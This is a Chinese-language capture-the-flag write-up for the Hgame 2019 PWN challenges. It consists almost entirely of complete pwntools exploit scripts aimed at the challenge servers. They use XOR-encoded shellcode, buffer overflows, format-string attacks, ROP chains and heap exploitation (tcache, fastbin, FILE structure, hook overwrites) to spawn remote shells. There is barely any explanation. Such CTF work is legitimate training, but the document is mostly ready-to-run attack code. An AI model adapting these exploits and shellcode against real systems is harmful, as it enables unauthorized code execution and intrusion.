Hgame 2019 PWN

去年也是这时候,记得是校赛后Lilac学长让我们做的训练题,不过去年只做Web,今年只看了PWN
(week1后账号没了,换了小号)
第一周:Kirin-say , 二三四周:梅零落
PWN题:

1
2
3
4
week1:一血:2,二血:1
week2:一血:1,二血:2
week3:一血:2,二血:1,三血:1
week4:一血:3

All the challenge of pwn has been solved.
面向招新,题目都比较简单
感谢杭电师傅们四周的辛苦(客服好评)

week 1

1

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

p=process("./babysc")
p=remote("118.24.3.214",10000)
s="\x6a\x3b\x58\x99\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
#s="aaaaaaaaaaaaaaaaa"
payload=""
for i in range(len(s)):
payload+=chr(ord(s[i])^(i+1))
print payload
p.sendline(payload)
p.interactive()

2

1
2
3
4
5
from pwn import *

p=remote("118.24.3.214",9999)
p.sendline("a"*0x80)
p.interactive()

3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# -*- coding: utf-8 -*- 
from pwn import *
#context.log_level="debug"
flag=""
ans=""
for i in range(32):
p=remote("118.24.3.214",10001)
#p=process("./CSTW")
p.send("\n\n\n\n\n")
# p.recvuntil("——\n")
for k in range(32,256):
p.recvuntil("——\n")
ans=flag+chr(k)+"\x00"
p.send(ans)
s=p.recvuntil("\n")
#print s
if "..勇者Ch1p" in s:
flag+=chr(k)
print flag
p.close()
break
print flag

4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

p=remote("118.24.3.214",10002)
#p=process("./Steins;Gate")
p.sendlineafter("ID:","/bin/sh\x00kirin")
p.sendafter("world.\n","a"*48+"3#")
p.sendafter("man.\n","%7$p")
#gdb.attach(p)
s=p.recvuntil("00")
s=int(s[:-2],16)
print hex(s+0x1234)
#gdb.attach(p)
p.sendafter("?\n","ff\x00\x00"*12+p32(s+0x1234))
p.sendafter("debts.\n","%11$p")
s=int(p.recvuntil("00"),16)
print hex(s)
#gdb.attach(p)
p.sendafter("To seek the truth of the world.\n","a"*48+"3#\x00\x00"*2+p64(s)+"a"*8+p64(0x400c73)+p64(0x602040)+p64(0x400a76))
p.interactive()

week 2

1

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

p=remote("118.24.3.214",11000)
#p=process("./CSTW2")
for i in range(5):
p.recvuntil("\n")
p.send("\n")
p.recvuntil(">")
#gdb.attach(p)
p.sendline("-9")
p.sendlineafter(">",p64(0x40096a))
p.interactive()

2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *

context.log_level="debug"
while True:
try:
p=remote("118.24.3.214",11003)
p.sendlineafter("ID:","/bin/sh\x00kirin")
p.sendafter("world.\n","a"*48+"3#")
p.sendafter("man.\n","%7$p")
#gdb.attach(p)
s=p.recvuntil("Y")
s=int(s[:-9],16)
print hex(s+0x1234)
#gdb.attach(p)
p.sendafter("?\n","ff\x00\x00"*12+p32(s+0x1234))
p.sendafter("debts.\n","%11$p")
s=int(p.recvuntil("00"),16)
print hex(s)
#gdb.attach(p)
p.sendafter("To seek the truth of the world.\n","ff\x00\x00"*12+"3#\x00\x00"*2+p64(s)+"a"*8+"\xdb\x0d")
#gdb.attach(p)
p.sendlineafter("ID:","/bin/sh\x00kirin")
p.sendafter("world.\n","a"*48+"3#")
p.sendafter("man.\n","%7$p")
#gdb.attach(p)
s2=p.recvuntil("Y")
s2=int(s2[:-9],16)
print hex(s2+0x1234)
#gdb.attach(p)
p.sendafter("?\n","ff\x00\x00"*12+p32(s2+0x1234))
p.sendafter("debts.\n","%3$p")
s1=int(p.recvuntil("W")[:-2],16)-(0x7f0a1bc1e260-0x7f0a1bb27000)+0x45216
print hex(s1)
#gdb.attach(p)
p.sendafter("To seek the truth of the world.\n","\x00\x00\x00\x00"*12+"3#\x00\x00"*2+p64(s)+"a"*8+p64(s1)+p64(0)*6)
#gdb.attach(p)
p.interactive()
break
except:
print "kirin"

3

1
2
3
4
5
6
7
8
9
10
from pwn import *

p=remote("118.24.3.214",11002)
#p=process("./handsomeariis")
#gdb.attach(p)
p.sendlineafter("Repeat me!\n","Aris so handsoooome!"+"\x00"*20+p64(0x0400873)+p64(0x601018)+p64(0x400590)+p64(0x400735))
p.recvuntil("Great! Power upupuppp!\n")
s=u64(p.recv(6)+"\x00\x00")-0x06f690+0xf02a4
p.sendlineafter("Repeat me!\n","Aris so handsoooome!"+"\x00"*20+p64(s))
p.interactive()

4

1
2
3
4
5
6
7
8
9
from pwn import *

#p=process("./babyfmtt")
p=remote("118.24.3.214",11001)
#400e84
payload1="%2126c%8$hnkirin"+p64(0x601020)+p64(0xffffffffffffffff)*12
#gdb.attach(p)
p.sendlineafter("PWN\n",payload1)
p.interactive()

week 3

1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *
context.log_level="debug"
#p=remote("118.24.3.214",10002)
while True:
try:
p=remote("118.24.3.214",12343)
p.sendlineafter("ID:","/bin/sh\x00kirin")
p.sendafter("world.\n","a"*48+"3#")
p.sendafter("man.\n","%7$p")
#gdb.attach(p)
s=p.recvuntil("Y")
s=int(s[:-9],16)
print hex(s+0x1234)
#gdb.attach(p)
p.sendafter("?\n","ff\x00\x00"*12+p32(s+0x1234))
p.sendafter("debts.\n","%11$p")
s=int(p.recvuntil("00"),16)
print hex(s)
#gdb.attach(p)
p.sendafter("To seek the truth of the world.\n","ff\x00\x00"*12+"3#\x00\x00"*2+p64(s)+"a"*8+"\xdb\x0d")
#gdb.attach(p)
p.sendlineafter("ID:","/bin/sh\x00kirin")
p.sendafter("world.\n","a"*48+"3#")
p.sendafter("man.\n","%7$p")
#gdb.attach(p)
s2=p.recvuntil("Y")
s2=int(s2[:-9],16)
print hex(s2+0x1234)
#gdb.attach(p)
p.sendafter("?\n","ff\x00\x00"*12+p32(s2+0x1234))
p.sendafter("debts.\n","%3$p")
s1=int(p.recvuntil("W")[:-2],16)-(0x7f0a1bc1e260-0x7f0a1bb27000)+0x45216
print hex(s1)
p.sendafter("To seek the truth of the world.\n","\x00\x00\x00\x00"*12+"3#\x00\x00"*2+p64(s)+"a"*8+"\xdb\x0d")
p.sendlineafter("ID:","/bin/sh\x00kirin")
p.sendafter("world.\n","a"*48+"3#")
p.sendafter("man.\n","%7$p")
#gdb.attach(p)
s5=p.recvuntil("Y")
s5=int(s5[:-9],16)
print hex(s5+0x1234)
#gdb.attach(p)
p.sendafter("?\n","ff\x00\x00"*12+p32(s5+0x1234))
p.sendafter("debts.\n","%12$p")
stack=int(p.recvuntil("W")[:-2],16)
print hex(stack)
#gdb.attach(p)
p.sendafter("To seek the truth of the world.\n",p64(stack*16-0x70)+p64(s1)+"\x00\x00\x00\x00"*8+"3#\x00\x00"*2+p64(s)+p64(stack*16-0x70)+"\x52\x0b")

#gdb.attach(p)
p.interactive()
break
except:
print "kirin"

2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
from pwn import *
_IO_USE_OLD_IO_FILE = False
_BITS = 64

def _u64(data):
return struct.unpack("<Q",data)[0]

def _u32(data):
return struct.unpack("<I",data)[0]

def _u16(data):
return struct.unpack("<H",data)[0]

def _u8(data):
return ord(data)

def _usz(data):
if _BITS == 32:
return _u32(data)
elif _BITS == 64:
return _u64(data)
else:
print("[-] Invalid _BITS")
exit()

def _ua(data):
if _BITS == 32:
return _u32(data)
elif _BITS == 64:
return _u64(data)
else:
print("[-] Invalid _BITS")
exit()

def _p64(data):
return struct.pack("<Q",data)

def _p32(data):
return struct.pack("<I",data)

def _p16(data):
return struct.pack("<H",data)

def _p8(data):
return chr(data)

def _psz(data):
if _BITS == 32:
return _p32(data)
elif _BITS == 64:
return _p64(data)
else:
print("[-] Invalid _BITS")
exit()

def _pa(data):
if _BITS == 32:
return struct.pack("<I", data)
elif _BITS == 64:
return struct.pack("<Q", data)
else:
print("[-] Invalid _BITS")
exit()

class _IO_FILE_plus:
def __init__(self):
self._flags = 0x00000000fbad2887 # High-order word is _IO_MAGIC; rest is flags.
self._IO_read_ptr = 0x602500 # Current read pointer
self._IO_read_end = 0x602500 # End of get area
self._IO_read_base = 0x602500 # Start of putback+get area
self._IO_write_base = 0x602600 # Start of put area
self._IO_write_ptr = 0x602600 # Current put pointer
self._IO_write_end = 0x602600 # End of put area
self._IO_buf_base = 0x602600 # Start of reserve area
self._IO_buf_end = 0x602601 # End of reserve area

# The following fields are used to support backing up and undo.
self._IO_save_base = 0 # Pointer to start of non-current get area
self._IO_backup_base = 0 # Pointer to first valid character of backup area
self._IO_save_end = 0 # Pointer to end of non-current get area

self._markers = 0
self._chain = 0

self._fileno = 0
self._flags2 = 0
self._old_offset = 0 # This used to be _offset but it's too small

# 1+column number of pbase(); 0 is unknown
self._cur_column = 0
self._vtable_offset = 0
self._shortbuf = 0

self._lock = 0x602700

if not _IO_USE_OLD_IO_FILE:
self._offset = 0
self._codecvt = 0
self._wide_data = 0
self._freeres_list = 0
self._freeres_buf = 0
self.__pad5 = 0
self._mode = 0
self._unused2 = [0 for i in range(15 * 4 - 5 * _BITS / 8)]
self.vtable = heap_addr+0x10

def tostr(self):
buf = _p64(self._flags & 0xffffffff) + \
_pa(self._IO_read_ptr) + \
_pa(self._IO_read_end) + \
_pa(self._IO_read_base) + \
_pa(self._IO_write_base) + \
_pa(self._IO_write_ptr) + \
_pa(self._IO_write_end) + \
_pa(self._IO_buf_base) + \
_pa(self._IO_buf_end) + \
_pa(self._IO_save_base) + \
_pa(self._IO_backup_base) + \
_pa(self._IO_save_end) + \
_pa(self._markers) + \
_pa(self._chain) + \
_p32(self._fileno) + \
_p32(self._flags2) + \
_p64(self._old_offset) + \
_p16(self._cur_column) + \
_p8(self._vtable_offset) + \
_p8(self._shortbuf)
if _BITS == 64:
buf += _p32(0)
buf += _pa(self._lock)
if not _IO_USE_OLD_IO_FILE:
buf += \
_p64(self._offset) + \
_pa(self._codecvt) + \
_pa(self._wide_data) + \
_pa(self._freeres_list) + \
_pa(self._freeres_buf) + \
_psz(self.__pad5) + \
_p32(self._mode) + \
''.join(map(lambda x:_p8(x), self._unused2)) +\
_pa(self.vtable)
return buf

def __str__(self):
return self.tostr()


def add(index,note):
p.sendlineafter(">","1")
p.sendlineafter(":",str(index))
p.sendafter(":",note)
def edit(index,note):
p.sendlineafter(">","4")
p.sendlineafter(":",str(index))
p.sendafter(":",note)
def show(index):
p.sendlineafter(">","3")
p.sendlineafter(":",str(index))
return p.recvuntil("\n")
def delete(index):
p.sendlineafter(">","2")
p.sendlineafter(":",str(index))
context.log_level="debug"
#p=process("./namebook")
p=remote("118.24.3.214",12344)
add(0,"kirin\n")
add(1,"kirin\n")
add(2,"kirin\n")
add(3,"kirin\n")
add(4,"kirin\n")
add(5,"kirin\n")
edit(0,p64(0)*17+p64(0x121)+"\n")
delete(1)
add(1,"kirin\n")
libc_addr=u64(show(2)[:-1].ljust(8,"\x00"))-0x4b78-0x3c000-0x384000
free_hook=libc_addr+0x3c67a8
system_addr=libc_addr+0xf1147
add(6,"kirin\n")
delete(4)
delete(6)
heap_addr=u64(show(2)[:-1].ljust(8,"\x00"))
print hex(heap_addr)
print hex(libc_addr)
add(7,p64(system_addr)*16)
s = _IO_FILE_plus().tostr()
print len(s)
edit(-4,s)
#gdb.attach(p)
p.interactive()

3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *

context.log_level='debug'

def add(note):
p.sendlineafter(">","1")
p.sendafter(":",note)
def edit(index,note):
p.sendlineafter(">","2")
p.sendlineafter(":",str(index))
p.sendafter(":",note)
def delete(index):
p.sendlineafter(">","3")
p.sendlineafter(":",str(index))
p.recvuntil(":")
return p.recvuntil("\n")
#p=process("./CSTW_3")
p=remote("118.24.3.214",12342)
p.sendline("\n\n\n")
add(p64(0)*11+p64(0x71))
add("kirin")
add(p64(0)*2+p64(0)+p64(0x21)+p64(0)*3+p64(0x21))
add("kirin")
delete(1)
delete(0)
add("\x11")
#gdb.attach(p)
heap_addr=u64(delete(0)[:-1].ljust(8,"\x00"))-0x11
print hex(heap_addr)
edit(0,p64(heap_addr+0x70))
add("kirin")
add(p64(0)+p64(0x91))
#gdb.attach(p)
delete(1)
edit(6,p64(0)+p64(0x71))
libc_addr=u64(delete(1)[:-1].ljust(8,"\x00"))-0x3c4b78
malloc_hook=libc_addr+0x03c4b10
system_addr=libc_addr+0x45390
print hex(libc_addr)
edit(1,p64(malloc_hook-0x23))
add("/bin/sh\x00")
add("a"*0x13+p64(libc_addr+0x4526a))
#gdb.attach(p)
p.interactive()

4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *

def add(note):
p.sendlineafter(">","1")
p.sendafter(":",note)
def show(index):
p.sendlineafter(">","3")
p.sendlineafter(":",str(index))
return p.recvuntil("\n")
def delete(index):
p.sendlineafter(">","2")
p.sendlineafter(":",str(index))
context.log_level="debug"
#p=process("./babytcache")
p=remote("118.24.3.214",12341)
add("kirin\n")
add("kirin\n")
delete(1)
delete(1)
delete(0)
delete(0)
heap_addr=u64(show(0)[:-1].ljust(8,"\x00"))
print hex(heap_addr)
add(p64(0x6020e0)+"\n")
add("kirin\n")
add(p64(0x6020a0)+"\n")
libc_addr=u64(show(0)[:-1].ljust(8,"\x00"))
print hex(libc_addr)
system_addr=libc_addr+0x004f440-0x3ec760
free_hook=libc_addr-0x3ec760+0x000003ed8e8
delete(3)
delete(3)
#gdb.attach(p)
add(p64(free_hook)+"\n")
add("/bin/sh\x00\n")
add(p64(system_addr)+"\n")
delete(6)
p.interactive()

week 4

1

模改pwnable.tw的题目3x17,其实这题的可实现方案我在3x17的Writeup里就已经提到过(方案三),只是当时没去写EXP,现已更新:

1
https://kirin-say.top/2019/02/08/pwnable-tw-3x17/
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *

context.log_level="debug"
p=process("3x18")
#p=remote("chall.pwnable.tw",10105)
p=remote("118.89.111.179",12331)
#_fini_array
p.sendlineafter("addr:",str(0x4b40f0))
p.sendafter("data:",p64(0x402960)+p64(0x401ba3))

#rop_chain
pop_rdi=0x401696
pop_rax=0x41e4af
pop_rdx_rsi=0x44a309
bin_sh_addr=0x4b4140
pop_rsp_ret=0x0402ba9
p.sendlineafter("addr:",str(0x4b70c0))
p.sendafter("data:",p64(0x401ba3))
p.sendlineafter("addr:",str(0x4b40f0))
p.sendafter("data:",p64(0x4b40f8)+p64(0x401c4b))
p.sendlineafter("addr:",str(0x4b4100))
p.sendafter("data:",p64(pop_rdi))
p.sendlineafter("addr:",str(0x4b4108))
p.sendafter("data:",p64(bin_sh_addr)+p64(pop_rax)+p64(0x3b))
p.sendlineafter("addr:",str(0x4b4120))
p.sendafter("data:",p64(pop_rdx_rsi)+p64(0)+p64(0))
p.sendlineafter("addr:",str(0x4b4138))
p.sendafter("data:",p64(0x446e2c)+"/bin/sh\x00")
#gdb.attach(p)

p.sendafter("addr:",str(0x4b70c0))
p.sendlineafter("data:",p64(0x402960))
p.interactive()

2

2&&3的预期解应该是程序的延迟绑定机制:

1
https://kirin-say.top/2018/08/18/ret2-dl-runtime-resolve/

不过很容易用其他方法bypass:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *

def add(index,note):
p.sendlineafter(">","1")
p.sendlineafter(":",str(index))
p.sendafter(":",note)
def edit(index,note):
p.sendlineafter(">","3")
p.sendlineafter(":",str(index))
p.sendafter(":",note)
def delete(index):
p.sendlineafter(">","2")
p.sendlineafter(":",str(index))
context.log_level="debug"
#p=process("blind")
p=remote("118.89.111.179",12332)
edit((0x6011f0-0x6012c0)/8,p64(0x601240)[:6]+"\n")
edit((0x00601018-0x6012c0)/8,p64(0x4006e0)[:6]+"\n")
add(0,"kirin\n")
add(1,"kirin\n")
add(2,"kirin\n")
add(3,"kirin\n")
add(4,"kirin\n")
add(5,"kirin\n")
edit(0,p64(0)*17+p64(0x121)+"\n")
delete(1)
add(1,"kirin\n")
edit((0x6011f0-0x6012c0)/8,p64(0x601208)[:6]+"\n")
edit((0x00601018-0x6012c0)/8,p64(0x4006f0)[:6]+"\n")
p.sendlineafter(">","2")
p.sendlineafter(":","2")
libc_addr=u64(p.recv(6)+"\x00\x00")-0x4b78-0x3c000-0x384000
edit((0x6011f0-0x6012c0)/8,p64(0x601208)[:6]+"\n")
edit((0x00601018-0x6012c0)/8,p64(libc_addr+0x000045390)[:6]+"\n")
add(6,"/bin/sh\n")
delete(6)
print hex(libc_addr)
p.interactive()

3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *

def add(index,note):
p.sendlineafter(">","1")
p.sendlineafter(":",str(index))
p.sendafter(":",note)
def edit(index,note):
p.sendlineafter(">","3")
p.sendlineafter(":",str(index))
p.sendafter(":",note)
def delete(index,s="n\n"):
p.sendlineafter(">","2")
p.sendafter("confirm?",s)
p.sendlineafter(":",str(index))
context.log_level="debug"
#p=process("blind2")
p=remote("118.89.111.179",12333)
add(0,"kirin\n")
#gdb.attach(p)
delete(11,"a"*17+p32(0x80484e0)+p32(0x804897e)+p32(0x804a028)+"\n")
p.recvuntil("invalid range")
libc_addr=u32(p.recv(5)[1:])-0x0005f140
print hex(libc_addr)
delete(11,"a"*17+p32(libc_addr+0x0003a940)+p32(0x804897e)+p32(libc_addr+0x15902b)+"\n")
p.interactive()